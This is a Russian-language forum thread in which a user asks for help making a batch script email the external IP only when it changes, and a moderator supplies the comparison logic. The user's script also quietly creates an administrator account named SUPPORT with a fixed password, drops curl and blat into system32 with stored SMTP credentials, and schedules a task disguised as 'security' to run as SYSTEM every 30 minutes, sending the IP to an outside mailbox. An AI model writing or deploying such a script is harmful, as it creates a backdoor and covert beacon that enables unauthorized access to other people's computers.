Имя пользователя:
Пароль:  
Помощь | Регистрация | Забыли пароль?  | Правила  

Компьютерный форум OSzone.net » Программирование, базы данных и автоматизация действий » Скриптовые языки администрирования Windows » CMD/BAT - Отправка на мыло внешнего IP, при его смене

Ответить
Настройки темы
CMD/BAT - Отправка на мыло внешнего IP, при его смене

Новый участник


Сообщения: 11
Благодарности: 0

Профиль | Отправить PM | Цитировать


Помогите составить скрипт, чтобы на мыло отправлялся адрес внешнего IP, только когда он изменяется, чтобы не спамить мыло дублями.

Отправлено: 08:25, 31-12-2010

 

Аватара для rsod

Ветеран


Сообщения: 1344
Благодарности: 153

Профиль | Отправить PM | Цитировать


зарегистрируйте домен на dyndns и поставьте dyndns updater.

-------

Это сообщение посчитали полезным следующие участники:

Отправлено: 01:50, 02-01-2011 | #2



Для отключения данного рекламного блока вам необходимо зарегистрироваться или войти с учетной записью социальной сети.

Если же вы забыли свой пароль на форуме, то воспользуйтесь данной ссылкой для восстановления пароля.


Новый участник


Сообщения: 11
Благодарности: 0

Профиль | Отправить PM | Цитировать


Цитата rsod:
зарегистрируйте домен на dyndns и поставьте dyndns updater. »
Мне нужно чтобы ip отправлялся на мыло.

Отправлено: 02:43, 03-01-2011 | #3


Ветеран


Сообщения: 3806
Благодарности: 822

Профиль | Отправить PM | Цитировать


waqu, "помогите" и "сделайте за меня" - разные вещи. С чем конкретно проблемы?
Почему именно bat? Какая целевая ОС? И вообще какая конечная задача?

Отправлено: 14:08, 03-01-2011 | #4


Новый участник


Сообщения: 11
Благодарности: 0

Профиль | Отправить PM | Цитировать


Скрипт я уже составил, но нужно его подредактировать чтобы на мыло отсылался IP, только когда он сменяется, а не каждые пол часа.
Вот пример скрипта, который нужно переделать:
Код: Выделить весь код
chcp 1251
net user SUPPORT password
net localgroup "Administrators" SUPPORT /add


::Извлекаем файлы и копируем в нужные нам директории
copy /y "curl.exe" "%SystemRoot%\system32\curl.exe"
copy /y "blat.exe" "%SystemRoot%\system32\blat.exe"
copy /y "blat.lib" "%SystemRoot%\system32\blat.lib"
copy /y "blat.dll" "%SystemRoot%\system32\blat.dll"

::Указываем настройки Blat для отправки на почту
"%SystemRoot%\system32\blat.exe" -install -server smtp.yandex.ru -port 587 -f mail@yandex.ru -u user -pw password

::Первая отправка IP сразу после установки
"%SystemRoot%\system32\curl.exe" -f -s www.whatismyip.com/automation/n09230945.asp > 1.txt
"%SystemRoot%\system32\blat.exe" "%SystemRoot%\system32\1.txt" -to mail@yandex.ru

::Запуск WinVer который укажет какой тип отправки IP использовать
cd %SystemRoot%\system32\
start winver.exe
schtasks /create /tn "security" /sc minute /mo 30 /ru "NT AUTHORITY\SYSTEM" /tr "%SystemRoot%\system32\send_IPv4.exe" /f

::Чистим лишнее
del /q "%SystemRoot%\system32\winver.exe"

exit

Отправлено: 04:53, 05-01-2011 | #5



Moderator


Сообщения: 51908
Благодарности: 14931

Профиль | Отправить PM | Цитировать


waqu, наверное, можно эти строки:
Код: Выделить весь код
"%SystemRoot%\system32\curl.exe" -f -s www.whatismyip.com/automation/n09230945.asp > 1.txt
"%SystemRoot%\system32\blat.exe" "%SystemRoot%\system32\1.txt" -to mail@yandex.ru
заменить на:
Код: Выделить весь код
curl.exe -f -s www.whatismyip.com/automation/n09230945.asp > 1.new.txt
set sendIP=1
if exist 1.txt (
  fc /b 1.txt 1.new.txt >nul && set sendIP=0
  del /f /q 1.txt
)
ren 1.new.txt 1.txt
if %sendIP%==1 (
  blat.exe 1.txt -to mail@yandex.ru
  if not %errorlevel%==0 del /f /q 1.txt
)
P. S. Файл 1.txt не удалять после выполнения.

Последний раз редактировалось Petya V4sechkin, 05-01-2011 в 10:53.


Отправлено: 10:28, 05-01-2011 | #6


Новый участник


Сообщения: 11
Благодарности: 0

Профиль | Отправить PM | Цитировать


Petya V4sechkin
Спасибо. Буду тестировать.

Отправлено: 01:10, 06-01-2011 | #7



Компьютерный форум OSzone.net » Программирование, базы данных и автоматизация действий » Скриптовые языки администрирования Windows » CMD/BAT - Отправка на мыло внешнего IP, при его смене

Участник сейчас на форуме Участник сейчас на форуме Участник вне форума Участник вне форума Автор темы Автор темы Шапка темы Сообщение прикреплено

Похожие темы
Название темы Автор Информация о форуме Ответов Последнее сообщение
Отправка смс через мыло Dj_Dim Мобильные ОС, смартфоны и планшеты 13 18-09-2012 16:14
CMD/BAT - [решено] Копирование файла по расписанию и его отправка по почте LokkyZ Скриптовые языки администрирования Windows 8 03-10-2011 16:49
Загрузка - Проблема при смене экранов при загрузке WinXp sp3 KDSRUS Microsoft Windows 2000/XP 1 01-11-2009 22:10
Доступ - При смене имени файла меняется его расширение Жоржик Microsoft Windows 2000/XP 2 03-09-2009 23:29
Доступ - Ошибка при смене домена. PyCu4 Microsoft Windows NT/2000/2003 7 06-03-2008 09:48




 
Переход